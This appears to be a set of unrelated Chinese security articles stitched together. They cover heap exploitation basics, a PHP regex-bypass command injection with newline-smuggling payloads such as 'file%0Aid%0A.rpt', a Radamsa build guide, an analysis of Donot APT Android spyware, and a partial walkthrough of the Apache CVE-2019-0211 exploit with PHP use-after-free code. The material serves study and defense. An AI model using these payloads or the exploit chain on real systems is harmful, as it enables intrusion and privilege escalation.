现在的漏洞绝大部分都出在了堆这一部分，所以了解一些现在常用的漏洞利用技巧是非常必要的。
**堆的概念**
堆是一个用于动态分配的内存池。使用malloc()函数可以从堆中申请内存。而使用free()函数可以释放由malloc函数申请的内存。下面来看看一个程序运行起来后它的一个内存布局是怎样的。
下面给出一个通过动态分配使用堆内存的例子。
int main()
{
char * buffer = NULL;
/* allocate a 0x100 byte buffer */
buffer = malloc(0x100);
/* read input and print it */
fgets(stdin, buffer, 0x100);
printf(“Hello %s!n”, buffer);
/* destroy our dynamically allocated buffer */
free(buffer);
return 0;
}
下面来看看堆和栈的区别。
从内存分配的时期来看，堆内存的分配在程序运行时进行，而栈内存的分配会在编译时进行。
从存储的东西来看，堆中一般会存储所需内存比较大的缓冲区，结构体，类对象等等，而栈中一般存储局部变量、返回地址、函数的参数….
从分配的方式来看,堆内存一般由程序员自己分配，通常使用malloc/calloc/recalloc/分配，free释放，或者
new/delete来管理堆内存，而栈内存的使用是由编译器自动完成的。
堆有很多种实现，其中比较主流的有dlmalloc ptmalloc
jemalloc，还有些程序自己实现了堆的管理机制.再继续往下讲前，来做个小测验。猜一猜下面的malloc调用计算机(32位)实际上会分配多少字节的数据。
malloc(32);
malloc(4);
malloc(20);
malloc(0);
来看看答案，看你能答对几个
malloc(32); – 40 bytes
malloc(4); – 16 bytes
malloc(20); – 24 bytes
malloc(0); – 16 bytes
下面使用程序来验证下，其输出就是它实际分配到的内存地址和大小
堆的内存分配是以chunk为单位进行分配的，下面以一张图来形象的看看每个堆chunk的结构。
下面看看源代码中对这个chunk结构的描述。做了注释。
struct malloc_chunk {
INTERNAL_SIZE_T prev_size; 如果前一个堆块是被释放的,这个值为前一个堆快的大小,否则为0
INTERNAL_SIZE_T size; 最后一位表示前一个堆块是否在使用, 为 1 表示在使用
struct malloc_chunk* fd; 前向指针,指向前一个堆快的起始位置<包含堆首部的起始地址,不是malloc返回的给用户使用的指针
struct malloc_chunk* bk; 后向指针,指向后一个堆快的起始位置<包含堆首部的起始地址,不是malloc返回的给用户使用的指针
struct malloc_chunk* fd_nextsize; /* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* bk_nextsize; /* Only used for large blocks: pointer to next larger size. */
};
如果想继续深入了解堆分配相关细节的话可以去
<https://sploitfun.wordpress.com/2015/02/10/understanding-glibc-malloc/>
**几种常见堆漏洞的利用技巧**
**一、堆缓冲区溢出**
堆缓冲区溢出和栈上的缓冲区溢出非常类似，他们主要区别就是缓冲区所处的位置不同。我们先来看看如果我们不断的向堆申请内存，那么堆中的那些chunk的分布情况。
发生溢出后的情况是
如果溢出覆盖的内存只是一些很简单的数据类型，其实并没有什么用，但是在堆上分布着很多复杂的数据结构的比如，结构体、对象。而在在这些数据中可能会存储着一些有趣的东西，比如一个函数指针、虚表指针等，一旦我们通过溢出重写了这些特殊的字段我们就有可能控制程序的流程，实现代码执行。
这里来一个Demo，假设存在这样一个结构体。
struct toystr {
void (* message)(char *);
char buffer[20];
};
触发堆溢出的代码为
coolguy = malloc(sizeof(struct toystr));
lameguy = malloc(sizeof(struct toystr));
coolguy->message = &print_cool;
lameguy->message = &print_meh;
printf("Input coolguy's name: ");
fgets(coolguy->buffer, 200, stdin); // oopz...
coolguy->buffer[strcspn(coolguy->buffer, "n")] = 0;
printf("Input lameguy's name: ");
fgets(lameguy->buffer, 20, stdin);
lameguy->buffer[strcspn(lameguy->buffer, "n")] = 0;
coolguy->message(coolguy->buffer);
lameguy->message(lameguy->buffer);
coolguy = malloc(sizeof(struct toystr));
lameguy = malloc(sizeof(struct toystr));
coolguy->message = &print_cool;
lameguy->message = &print_meh;
printf("Input coolguy's name: ");
fgets(coolguy->buffer, 200, stdin); // 这里有一个很明显的堆溢出
coolguy->buffer[strcspn(coolguy->buffer, "n")] = 0;
printf("Input lameguy's name: ");
fgets(lameguy->buffer, 20, stdin);
lameguy->buffer[strcspn(lameguy->buffer, "n")] = 0;
coolguy->message(coolguy->buffer);
lameguy->message(lameguy->buffer);
堆溢出之后
通过溢出可以将lameguy的message函数指针设置为0x41414141(AAAA)，后来当lameguy调用message函数时就可以劫持程序流程到0x41414141，覆盖对象的虚表指针也能实现类似的效果。
**二、UAF漏洞**
UAF漏洞大家应该听的比较多了，因为最近几年各个主流的浏览器，adobe
flash都爆出了非常多的uaf漏洞。那么UAF漏洞到底是一种怎么样的漏洞呢？简单的来说就是一块内存已经被释放了，但是在程序中还存在对这块内存的引用，并且在一定情形下还会使用这块内存的数据。由于这块已经被释放的内存还可以被程序的其他地方申请使用,那么这块内存的数据就是不可信的，这样就有可能造成一些很严重的问题。话不多说上图。
假设这样一个场景，栈中存在着一个指向一块堆内存的指针
之后将指针指向的那块内存释放掉,于是现在我们拥有了一个悬垂指针,由于释放后的内存在程序执行过程中还可以继续申请到这块内存,如果之后的某个操作申请了这块内存,那么我们就可以修改这块内存的数据,而那个悬垂指针却一无所知,还会义无反顾的使用这块内存,这样就会发生一些问题.
为了利用一个UAF漏洞,我们通常需要分配一个与存在漏洞的对象大小相同但类型不同的对象来占用那块已经被释放的内存。假设现在有以下两个类型
struct toystr {
void (* message)(char *);
char buffer[20];
};
struct person {
int favorite_num;
int age;
char name[16];
};
可以知道上面两个类型的大小是一样的,这就为漏洞利用奠定了基础.现在假设toystr存在一个UAF漏洞,即当toystr对象被释放后仍然还有一个指向他的指针,设它为P,之后新建一个person对象,来占据刚刚被释放的那块内存,此时我们将person.favorite_num的值设为0x41414141,之后在调用P->message(),我们就能控制程序流程到0x41414141,完成漏洞利用.
现在UAF漏洞非常火,这是为什么呢,原因有以下几点.
1.他不会需要造成内存崩溃
2.他可以被用来进行信息泄露
3.他还可以用来控制eip实现代码执行
**
**
**三、破坏堆的元数据**
要利用这种漏洞,需要我们对堆的管理机制非常的了解，常用的方式有伪造chunk，利用unlink实现一个任意地址写…下面来看看两种不同状态下堆的元数据都有哪些。
堆在使用时
堆被释放后。
这种类型的漏洞利用在各大ctf中经常被考到,而在现实环境下往往无法利用特别是在windows下,不过理解这种东西还是挺有帮助的.大家可以在下面的资源中学到这种漏洞利用技术的详细情况。
**总结**
在现实环境下,针对堆相关漏洞的利用，更多的是先控制堆的布局，之后触发漏洞，修改一些存在堆中的特殊对象的特殊数据，比如虚表，表示对象的长度值等等，之后进一步利用劫持
eip实现代码执行。
**参考链接**
* * *
<https://kitctf.de/writeups/0ctf2015/freenote/>
<https://sploitfun.wordpress.com/2015/03/04/heap-overflow-using-malloc-maleficarum/>
<http://acez.re/ctf-writeup-hitcon-ctf-2014-stkof-or-modern-heap-overflow/>
<http://wapiflapi.github.io/2014/11/17/hacklu-oreo-with-ret2dl-resolve/>
<http://phrack.org/issues/66/10.html>
<http://dl.packetstormsecurity.net/papers/attack/MallocMaleficarum.txt> | 社区文章 |
# 【技术分享】正则表达式使用不当引发的系统命令执行漏洞
|
##### 译文声明
本文是翻译文章，文章来源：nvisium.com
原文地址：<https://nvisium.com/blog/2015/06/11/regex-regularly-exploitable/>
译文仅供参考，具体内容表达以及含义原文为准。
****
>
> 严正声明：本文仅限于技术讨论与学术学习研究之用，严禁用于其他用途（特别是非法用途，比如非授权攻击之类），否则自行承担后果，一切与作者和平台无关，如有发现不妥之处，请及时联系作者和平台
翻译：[ForrestX386](http://bobao.360.cn/member/contribute?uid=2839753620)
预估稿费：100RMB
投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
****
**0x00 前言**
有时候，通过正则表达式来对字符串进行白名单过滤并不好使。本文通过例子演示正则表达式在对字符串进行白名单过滤的时候可能引发OSCI（Operating
System Command Injection）漏洞。
****
**0x01 正文**
测试代码如下：
<?php
$file_name = $_GET["path"];
if(!preg_match("/^[/a-zA-Z0-9-s_]+.rpt$/m", $file_name)) {
echo "regex failed";
} else {
echo exec("/usr/bin/file -i -b " . $file_name);
}
?>
咋一看这段代码好像没什么问题，就是匹配文件名由字母、数字、下划线、破则号、斜杠、空白字符各种组合的并且后缀名是rpt的文件，如果匹配成功，就执行系统命令file打印文件的类型和编码信息，如果匹配失败就打印’regex
failed’.
刚开始的时候，我也是尝试了各种attack payload，但是都没有成功进行命令注入，后来我才发现原来攻击点在s这正则过滤上，s
意思是匹配任何空白字符，何为空白字符，就是常见的[trnf]
(Tab、回车、换行、换页)等特殊字符，这里换行符就很危险，换行符在其他场景可能没有风险，但是在shell环境下，就有可能造成命令注入，看看下面这段payload
file%0Aid%0A.rpt
%0A是URL编码后的换行符，显然这段payload 匹配上述正则，当这段payload在shell环境中执行，会发生什么呢？
为什么会这样呢。因为在shell环境中多个命令的分隔符除了;之外还有换行符，上述payload 传入shell之后，就变成两条命令执行：
file -i -b file%0A
id%0A
.rpt
所以就出现了打印id 命令执行的内容
那么如何解决呢，很好办，把s替换成” ” （space）就ok了
是不是以为这样修改就万事大吉了？ 年轻人，too young too simple，看看下面的payload
file.rpt%0aid
看看执行后会是什么鬼？
很意外吧，命令注入成功，我们来看看什么原因导致了
注意到正则表达式结尾的/m 了，在php中，/m表示开启多行匹配模式，开启多行匹配模式之后^和$的含义就发生了变化，没开启多行模式之前(即单行匹配模式),
^ 和$
是匹配字符串的开始和结尾，开启多行模式之后，多行模式^,$可以匹配每行的开头和结尾，所以上述payload里面含有换行符，被当做两行处理，一行匹配OK即可，所以进入了exec执行分支，进而导致命令执行。
**0x02 总结**
所以，当我们在使用正则表达式构建白名单的时候，一定要小心一些，尤其涉及到命令执行的时候，有时候，白名单越明确越好，比如遇到类似上述场景，我们可以定义一些完整的被允许的文件名，而不是用正则表达式。 | 社区文章 |
## 0x00 Radamsa简介
Radamsa是一个用于稳健性测试的测试用例生成器，也就是一个模糊测试器。它通常用于测试程序如何能够承受格式错误和潜在的恶意输入。它的工作原理是读取有效数据的样本文件，并从中生成有意义的不同输出。
类似于project zero
的开源项目domato，Radamsa只负责样本生成。而区别于domato的一点是，Radamsa需要输入原始样本来进行变异得到新的的样本(Radamsa很牛逼一点在于
不需要你指定你的原始样本的格式，他会自动判定，对于fuzzer来说真的超级方便)。
Radamsa 的项目是用于linux平台上面的项目，并没有开放windows版本。
## 0x01 Radamsa linux 构建
[Radamsa fuzz project](https://gitlab.com/akihe/radamsa)
linux上的构建方法如下：
$ sudo apt-get install gcc make git wget
$ git clone https://gitlab.com/akihe/radamsa.git && cd radamsa && make && sudo make install
## 0x02 Radamsa win 构建
但是如果需要对win平台的目标程序进行fuzz 则需要想办法进行移植。
下面给出一种比较简单方式,win上使用Cygwin用Cygwin编译radamsa。
#### Cygwin的安装
通过下面的链接选择你需要的cygwin版本。
[Cygwin download](https://www.cygwin.com/)
下载完成后就需要通过Cygwin来安装linux上构建Radamsa需要的工具了，gcc/clag、git、wget、make
首先运行Cygwin的安装程序 到下面界面直接选择Install from Internet，这种模式直接从Internet安装，适合网速较快的情况；
然后就是一些设置Cygwin 模拟linux环境的文件存储位置设定，看个人喜好定吧，我是直接默认
网络连接类型这，直接选择Direct connection
添加使用阿里云镜像这个比较快 <http://mirrors.aliyun.com/cygwin/>
以gcc为列子说一下，在下图中搜gcc 然后把蓝色箭头指向Skip 点击一下就会显示当前能安装的版本。这就代表你需要安装的套件以及版本（gcc/clang
、git 都在Devel目录下）
最后就是喜闻乐见的无脑最后一步了
安装完成后通过cygwin terminal启动一个shell 查看一下gcc --version
#### Cygwin 下构建Radamsa
在Cygwin下和linx环境一致，按照linux的方式编译即可
在make 之后，make install之前。可以在 /radamsa/bin 下找到编译出来的 radamsa.exe
当然这个exe需要cygwin的依赖库才能运行。cygwin依赖库为cygwin1.dll 在cygwin安装目录下的/bin/文件中，把cygwin1.dll 拷贝到 radamsa.exe 同一目录下就可以在cmd里运行win平台下的 radamsa了
hava fun :) | 社区文章 |
# Donot APT组织（肚脑虫）伪装克什米尔新闻APP的攻击活动分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 背景
Donot“肚脑虫”（APT-C-35）是疑似具有南亚背景的APT组织，由奇安信威胁情报中心红雨滴团队（@RedDrip7）持续跟踪发现并命名，其主要针对巴基斯坦等南亚地区国家进行网络间谍活动。
该APT组织主要针对政府机构等领域进行攻击，以窃取敏感信息为主要目的。该APT组织除了以携带Office漏洞或者恶意宏的鱼叉邮件进行恶意代码的传播之外，还格外擅长利用安卓APK进行恶意代码传播。
近期，随着印巴在克什米尔地区（Kashmir）冲突的不断升级，具有南亚背景的APT团伙纷纷采用该地区冲突相关信息作为诱饵针对巴基斯坦进行攻击活动。奇安信威胁情报中心刚曝光了摩诃草在PC端利用克什米尔相关信息为诱饵的攻击活动[1]，同样具有南亚背景的Donot
APT组织也不甘示弱开始展开其在移动端的攻击火力。奇安信红雨滴团队在捕获Donot 移动端新样本的第一时间便对其进行了披露。
## 样本信息
文件名称 | KNS Lite
---|---
软件名称 | KNS Lite
软件包名 | com.newlite.sapp
MD5 | 497A67D28058A781681F20E32B7B3D6A
安装图标 |
## 诱饵分析
此次发现的Donot新样本通过仿冒Kashmir News Service（克什米尔新闻服务）的APP“KNS”，诱骗用户安装使用。
克什米尔新闻服务公司KNS是查谟和克什米尔的第一家在线新闻机构，成立于2002年1月，现已成为该州首屈一指，可信赖的双语，英语和乌尔都语新闻机构。
近期，印巴两军在克什米尔军事对峙线附近再度爆发了摩擦战，根据巴方披露的消息，本次交战已造成3名巴基斯坦士兵和5名印军士兵死亡。而随着克什米尔局势的“循环上升”，全世界的焦点无疑都集中在“克什米尔”，因此Donot新的诱饵通过仿冒Kashmir
News Service（克什米尔新闻服务）其目的显而易见。
诱饵APP图标：
样本运行截图：
Google商城正版APP截图：
Kashmir News Service（克什米尔新闻服务）官网截图：
## 样本分析
### 样本行为描述
此次新发现的Donot样本，其在代码结构上并没有过多的改变，恶意代码功能方面也没有增加额外的功能。而与以往的不同之处，在于对诱饵文件的“包装”以及恶意APP的功能完整性方面的“用心”。
恶意APP运行以后，并没有以往的隐藏自身图标，而是通过仿冒Kashmir News
Service（克什米尔新闻服务）展现给用户一个完整的新闻APP功能，从而达到欺骗用户放心使用，更加安全的保存了自身。
样本运行以后会在后台，通过最新服务端（[mangasiso.top](https://www.virustotal.com/gui/search/behaviour_network%3A%22mangasiso.top%22)）下发15种远控指令，其远控操作有：获取用户手机通话记录信息、获取用户手机通讯录信息、获取用户手机短信息、获取外置存储卡文件列表信息、获取WiFi、设备厂商等信息、获取用户地理位置信息、获取用户手机已安装软件列表等。
远控指令列表：
指令下发服务器 | 指令 | 指令功能
---|---|---
[mangasiso.top](https://www.virustotal.com/gui/search/behaviour_network%3A%22mangasiso.top%22)
| Call | 获取用户手机通话记录信息
CT | 获取用户手机通讯录信息
SMS | 获取用户手机短信息
Key | 获取App输入的内容信息
Tree | 获取外置存储卡文件列表信息
AC | 获取Account信息
Net | 获取WiFi、设备厂商等信息
CR | 设置用户手机电话通话录音
LR | 设定特定时间段录音
FS | 文件上传开关
GP | 获取地理位置信息
PK | 获取用户手机已安装软件列表
BW | 获取chrome书签列表
CE | 获取日历事件信息
Wapp | 获取whatsapp聊天信息
程序运行流程图：
### 详细代码分析
通过访问Kashmir News Service（克什米尔新闻服务）官方新闻链接，诱骗用户：
加载Youtube新闻视频，进一步伪装自己：
通过服务端（[mangasiso.top](https://www.virustotal.com/gui/search/behaviour_network%3A%22mangasiso.top%22)）下发15种远控指令，对用户手机进行后台操控，获取用户手机信息：
获取控制指令：
远控指令：
指令“Call”:获取用户手机通话记录信息：
指令“CT”：获取用户手机通讯录信息：
指令“SMS”：获取用户手机短信息：
指令“Key”：获取App输入的内容信息：
指令“Tree”：获取外置存储卡文件列表信息：
指令“AC”：获取Account信息：
指令“Net”：获取WiFi、设备厂商等信息：
指令“CR”：设置用户手机电话通话录音：
指令“LR”：设定特定时间段录音：
指令“FS”：文件上传开关：
指令“GP”：获取地理位置信息：
指令“PK”：获取用户手机已安装软件列表：
指令“CE”：获取日历事件信息：
指令“Wapp”：获取whatsapp聊天信息：
获取到的部分信息进行上传：
## 同源分析及代码变迁
经过我们对于Donot的持续跟踪与研究，每当巴以政治局势紧张的时候，Donot便会异常的活跃，仅2019年我们发现，Donot在移动端已进行三次改变，不论是框架结构、代码功能、伪装方式都进行了一系列的变迁。
### 2019年红雨滴团队Donot跟踪历史
红雨滴团队在今年陆续发现并公布了Donot团伙所使用的一系列数字武器：
### Donot代码结构演变
Donot原始代码结构：
Donot StealJob结构：
本次Donot代码结构：
## 总结
Donot
APT组织（APT-C-35）自2017年被奇安信威胁情报中心披露后[2]，一直高度活跃，并且持续升级自己的武器库，从最初的EHDevel框架到yty框架，从PC端到移动端，都展示了该组织的高持续性与高技术性。奇安信威胁情报中心红雨滴团队将持续保持对该团伙的高度跟踪。
目前，基于奇安信威胁情报中心的威胁情报数据的全线产品，包括奇安信威胁情报平台（TIP）、天擎、天眼高级威胁检测系统、奇安信NGSOC等，都已经支持对此类攻击的精确检测。
## IOC
诱饵APK MD5：
497A67D28058A781681F20E32B7B3D6A
C2地址：
[mangasiso.top](https://www.virustotal.com/gui/search/behaviour_network%3A%22mangasiso.top%22)
## 参考链接
1. [https://ti.qianxin.com/blog/articles/capricorn-gang-uses-public-platform-to-distribute-c&c-configuration-attacks/](https://ti.qianxin.com/blog/articles/capricorn-gang-uses-public-platform-to-distribute-c&c-configuration-attacks/)
2. <https://ti.qianxin.com/blog/articles/pakistan-targeted-apt-campaign/>
3. <https://ti.qianxin.com/blog/articles/donot-gang-mobile-new-attack-framework-tool-analysis/>
4. <https://ti.qianxin.com/blog/articles/stealjob-new-android-malware-used-by-donot-apt-group/> | 社区文章 |
# Apache HTTP组件提权漏洞利用过程深度分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
前段时间Apache HTTP
被发现存在本地提权漏洞（CVE-2019-0211），漏洞作者在第一时间就给出了漏洞WriteUp[1]和EXP[2]，阿尔法实验室也对EXP进行了深入分析，在此将分析的笔记整理分享出来，希望对大家理解该漏洞有所帮助。本文内容主要按着EXP的执行步骤一步步讲解，同时详细解释了利用过程中几个比较难理解的点：
* PHP UAF漏洞的具体利用细节
* all_buckets[bucket]是如何指向SHM中伪造的结构以及堆喷的问题
* 如何让apr_proc_mutex_t和zend_array、prefork_child_bucket和zend_object这些结构体叠加的
## 0x01 漏洞成因
作者的WriteUp中对导致漏洞代码已经有了介绍，这里就只是简单提一下，并省略了大部分的源码以减轻阅读负担。
在Apache的MPM
prefork模式中，以root权限运行主服务器进程，同时管理一个低特权工作进程（worker）池，用于处理HTTP请求。主进程和worker之间通过一个共享内存（SHM）进行通信。
1\. 当Apache
httpd服务器优雅重启（graceful）时，httpd主进程会杀死旧worker并用新worker替换它们，这就会调用prefork_run()函数产生新的worker：
//server/mpm/prefork/prefork.c
static int prefork_run(apr_pool_t *_pconf, apr_pool_t *plog, server_rec *s){
/* ... */
make_child(ap_server_conf, child_slot,
ap_get_scoreboard_process(child_slot)->bucket);
/* ... */
}
2\.
在该函数中调用make_child()，并使用ap_get_scoreboard_process(child_slot)->bucket作为参数。make_child()函数会创建新的子进程，同时根据bucket索引读取all_buckets数组到my_bucket：
//server/mpm/prefork/prefork.c
static int make_child(server_rec *s, int slot, int bucket){
/* ... */
my_bucket = &all_buckets[bucket];
/* ... */
child_main(slot, bucket);
/* ... */
3\.
调用child_main()，如果Apache侦听多个端口，那么SAFE_ACCEPT(<code>)宏中的<code>将会执行，这里apr_proc_mutex_child_init()将会执行：
//server/mpm/prefork/prefork.c
static void child_main(int child_num_arg, int child_bucket){
/* ... */
status = SAFE_ACCEPT(apr_proc_mutex_child_init(&my_bucket->mutex,
apr_proc_mutex_lockfile(my_bucket->mutex),
pchild));
/* ... */
4\. 上述函数进一步调用(*mutex)->meth->child_init(mutex, pool, fname):
//apr-1.7.0//locks/unix/proc_mutex.c
APR_DECLARE(apr_status_t) apr_proc_mutex_child_init(apr_proc_mutex_t **mutex,
const char *fname,
apr_pool_t *pool){
return (*mutex)->meth->child_init(mutex, pool, fname);
}
整个简化的流程如下：
prefork_run()
make_child(bucket)
my_bucket = &all_buckets[bucket];
child_main(bucket)
SAFE_ACCEPT(apr_proc_mutex_child_init)
apr_proc_mutex_child_init(my_bucket->mutex)
mutex->meth->child_init(&my_bucket->mutex)//覆盖child_init()的指针来指向代码
如果我们在共享内存中伪造一个prefork_child_bucket结构（即all_buckets数组的元素），并修改all_buckets数组的索引bucket，就可以在第三行处的代码控制my_bucket指向该结构。
进而在后续代码执行my_bucket->mutex->meth->child_init(mutex, pool,
fname)，meth结构包含指向多个函数的指针，因此，将其中的child_init函数的指针覆盖为我们想要执行函数的指针，就可以达到漏洞利用的目的，并且此时进程还是处于root权限的，后面才降低自身的权限。
## 0x02 漏洞利用
作者在其WriteUp中将利用过程分为四个大步骤，但实际的exp要比他写得更繁琐一点，在顺序上也稍微有些不同。以下是根据exp执行步骤整理的流程，补充了一些细节：
1. 利用PHP读取worker的/proc/self/maps文件，进而定位一些漏洞利用所需模块和函数的地址
2. 枚举/proc/*/cmdline和/proc/*/status文件，得到所有worker进程的PID
3. 利用一个PHP的UAF漏洞，在worker进程中获取读/写SHM的权限
4. 遍历Apache的内存，根据内存模式匹配找到与all_buckets数组地址
5. 因为优雅重启后，all_buckets的位置会改变，因此需要计算一个”适当”的bucket索引，保证all_buckets[bucket]仍然指向伪造的prefork_child_bucket结构
6. 在SHM中构造payload
7. 喷射payload之后剩余的SHM区域，确保第5步中all_buckets[bucket]指向这片区域后，能转跳到payload
8. 将process_score->bucket修改为第5步中计算的bucket。此外为了进一步提高成功率，还可以枚举SHM区域所有的process_score结构，将每个worker的process_score->pid与第2步得到的PID的相比较，匹配上的就是正确的process_score结构，将每个worker的process_score->bucket都进行修改。
9. 等待Apache优雅重启触发漏洞（每天早上6:25会自动执行，也可手动重启验证结果）
具体的细节如下图：
### 2.1 EXP概述
get_all_addresses()、get_workers_pids()函数分别取得几个关键内存地址、worker的PID放入全局变量$addresses和$worker_pids中，以便在随后的利用中使用。需要注意如果执行exp时无法解析shm和apache的地址，可能是因为你的环境中shm的大小与exp中查找的范围不一致，可以自己查看一下maps文件，然后修改if
($msize >= 0x10000 && $msize <= 0x16000)这一行为正确的值即可。
real()函数有两个作用，一是触发PHP的UAF漏洞。二是开始真正的漏洞利用过程，因为Z中定义了jsonSerialize()方法，它会在类实例被序列化的时候调用，即后面执行json_encode()时调用，而所有的利用代码都在jsonSerialize()中。
下面的代码只保留了EXP的基本框架，只为了让大家有一个整体上的概念：
<?php
function real()
{
global $y;
$y = [new Z()];
json_encode([0 => &$y]);
}
class Z implements JsonSerializable{
public function jsonSerialize(){ ... } ...
}
...
function get_all_addresses(){
...
}
function get_workers_pids(){
...
}
$addresses = get_all_addresses();
$workers_pids = get_workers_pids();
real();
接下来具体看看jsonSerialize()中的代码。
### 2.2 利用PHP UAF漏洞获取SHM读写权限
还是先概括的讲一讲PHP这个UAF漏洞原理：
class Z implements JsonSerializable{
public function jsonSerialize(){
global $y, $addresses, $workers_pids;
...
$this->abc = ptr2str(0, 79);
//ptr2str在这里等同于创建一个字符串
...
unset($y[0]);
...
$x = new DateInterval('PT1S');
...
}}
1. 我们在Z中定义了一个字符串$this->abc（PHP内部使用zend_string表示），就好比C中malloc一块内存
2. 接着unset($y[0])（Z的实例），就像”free”掉刚才分配的内存
3. 然后再请求分配一个和刚才释放大小相同的内存块，这里使用的是DateInterval（PHP的对象内部实现往往由几个结构体组成，这里其实是DateInterval中的timelib_rel_time和zend_string大小相同），于是DateInterval就占据了原来字符串的位置，如下图所示：
4. 此时$this->abc仍然可用并指向原来的位置，于是我们可以通过修改DateInterval来控制字符串$this->abc。
PHP字符串的内部实现如下，用一个zend_string表示，通过成员变量len来判断字符串长度，从而实现二进制安全。我们修改DateInterval的属性间接修改len的大小就可以通过this->abc读写SHM区域了。当然，为了能够成功利用漏洞，还有许多细节需要考虑。
struct _zend_string {
zend_refcounted gc;
zend_ulong h;
size_t len;
char val[1];
};
**2.2.1 填充空闲内存块**
在脚本运行之前可能发生了大量的分配/释放，因此同时实例化的两个变量也不一定是连续的，为解决这个问题，实例化几个DateInterval对象填充不连续空闲块，以确保后面分配的内存是连续的：
$contiguous = [];
for($i=0;$i<10;$i++)
$contiguous[] = new DateInterval('PT1S');
$_protector = ptr2str(0, 78);
**2.2.2 创建保护内存块**
为了保证UAF后我们控制的结构属于一块空闲内存，如果我们之后创建其他变量，那么这些变量可能会破坏我们已经控制的结构，为了避免这种情况，这里分配了很多对象Z的实例，后面的代码中会将其释放，由于PHP的堆LIFO的特点，这些释放掉的内存会优先于UAF的那块内存分配，从而保护被我们控制的结构。
$room = [];
for($i=0;$i<10;$i++)
$room[] = new Z();
**2.2.3 分配UAF的字符串**
接着创建字符串$this->abc，也就是一个zend_string结构，通过对它进行UAF，进而读写共享内存。
$this->abc = ptr2str(0, 79);
$p = new DateInterval('PT1S');
创建$p的目的是为了保护$this->abc，前面说过，一个PHP对象往往由许多结构组成，而DateInterval中的timelib_rel_time结构大小就刚好为78，这就是前面为何要创建大小78的zend_string的原因。
此时的内存布局如下图所示，这里和下面的所有图示都是为了方便大家理解，因为PHP各种变量、对象都是由好几个结构组成，所以实际的PHP堆内存排布肯定比此复杂。
**2.2.4 触发UAF并验证**
接着unset当前对象$y[0]和$p，unset掉$p意味着释放了DateInterval的timelib_rel_time结构。
unset($y[0]);unset($p);
此时内存布局如下：
然后我们将分配一个与其大小相同的字符串（$protector），由于PHP堆LIFO的特点，因此字符串将取代timelib_rel_time结构的位置。
# Protect $p's timelib_rel_time structure
$protector = ".$_protector";
接着就是最重要的一步：
$x = new DateInterval('PT1S');
再次创建一个DateInterval，它的timelib_rel_time结构将刚好占据上图中free的内存位置，同时$this->abc仍然是可以访问free这块内存的，即：&timelib_rel_time
== &zend_string。因此我们可以通过修改DateInterval对象来修改zend_string.len，从而控制可以读/写内存的长度。
完成上述步骤后，我们还需要验证UAF是否成功，在这之前先看一下DateInterval的定义：
DateInterval {
/* Properties */
public integer $y ;
public integer $m ;
public integer $d ;
public integer $h ;
public integer $i ;
public integer $s ;
public float $f ;
public integer $invert ;
public mixed $days ;
/* Methods */
public __construct ( string $interval_spec )
public static createFromDateString ( string $time ) : DateInterval
public format ( string $format ) : string}
因为有&timelib_rel_time ==
&zend_string，所以这里的$d和$y分别对应zend_string里的len和val。可以将$x（DateInterval）的h属性设置为0x13121110，再通过$this->abc字符串（zend_string）访问来判断UAF成功与否。
# zend_string.refcount = 0
$x->y = 0x00;
# zend_string.len
$x->d = 0x100;
# zend_string.val[0-4]
$x->h = 0x13121110;
if(!(
strlen($this->abc) === $x->d &&
$this->abc[0] == "\x10" &&
$this->abc[1] == "\x11" &&
$this->abc[2] == "\x12" &&
$this->abc[3] == "\x13")){
o('UAF failed, exiting.');
exit();
}
o('UAF successful.');;
最后别忘了释放掉$room，产生的空闲块将保护我们控制的结构，后面再新建变量都会优先使用这些内存。
unset($room)
**2.2.5 控制并修改UAF的结构**
利用这个PHP漏洞的目的是为了能够获取读写SHM的权限，现在我们能够读写zend_string.val的内容，能读写的长度是zend_string.len，因此只要将len的值增加到包括SHM的范围。
这时我们已经知道了SHM的绝对地址，还需要知道abc的绝对地址，得到两者之间的偏移量才可以修改len。因此需要找到字符串$this->abc在内存中的位置：
$address = str2ptr($this->abc, 0x70 * 2 - 24);
$address = $address - 0x70 * 3;
$address = $address + 24;
o('Address of $abc: 0x' . dechex($address));
然后我们就可以计算两者间的偏移量了，还要注意的是，因为后面我们需要在内存中查找all_bucket，而它在apache的内存中所以我们的len需要将SHM和apache的内存都覆盖到，所以作者的WriteUp中说SHM和apache的内存都需要在PHP堆之后，而它们也确实都在PHP堆之后。
找SHM和apache的内存两者间较大的值，减去abc的地址，将得到的偏移通过DateInterval的d属性修改来修改zend_string.len。
$distance = max($addresses['apache'][1], $addresses['shm'][1]) - $address;
$x->d = $distance;
这等同于将zend_string结构（$this->abc）中的len修改为一个超大的值，一直包括到SHM和Apache内存区域，这下我们就可以读写这个范围内的内存了。
### 2.3 定位all_buckets的位置
根据内存模式查找all_buckets数组的位置，这在作者的writeup中有提到。mutex在all_buckets偏移0x10的位置，而meth在mutex偏移0x8的位置，根据该特征查找all_buckets数组。
首先，在apache的内存中搜索all_buckets[idx]->mutex，接着验证meth，是否在libapr.so的.data段中，最后因为meth指向libapr.so中定义的函数，因此验证其是否在.text段。满足这些条件的就是我们要找的all_buckets[]结构。
$all_buckets = 0;
for( $i = $addresses['apache'][0] + 0x10;
$i < $addresses['apache'][1] - 0x08;
$i += 8 )
{
# mutex
$mutex = $pointer = str2ptr($this->abc, $i - $address);
if(!in($pointer, $addresses['apache']))
continue;
# meth
$meth = $pointer = str2ptr($this->abc, $pointer + 0x8 - $address);
if(!in($pointer, $addresses['libaprR']))
continue;
o(' [&mutex]: 0x' . dechex($i));
o(' [mutex]: 0x' . dechex($mutex));
o(' [meth]: 0x' . dechex($meth));
顺便将meth结构中所有函数指针打印出来，第6个就是我们要覆盖的(*child_init)()。
# meth->*
# flags
if(str2ptr($this->abc, $pointer - $address) != 0)
continue;
# methods
for($j=0;$j<7;$j++)
{
$m = str2ptr($this->abc, $pointer + 0x8 + $j * 8 - $address);
if(!in($m, $addresses['libaprX']))
continue 2;
o(' [*]: 0x' . dechex($m));
}
$all_buckets = $i - 0x10;
o('all_buckets = 0x' . dechex($all_buckets));
break;
}
这是meth的结构的定义，可以对照调试结果着看一看：
struct apr_proc_mutex_unix_lock_methods_t {
unsigned int flags;
apr_status_t (*create)(apr_proc_mutex_t *, const char *);
apr_status_t (*acquire)(apr_proc_mutex_t *);
apr_status_t (*tryacquire)(apr_proc_mutex_t *);
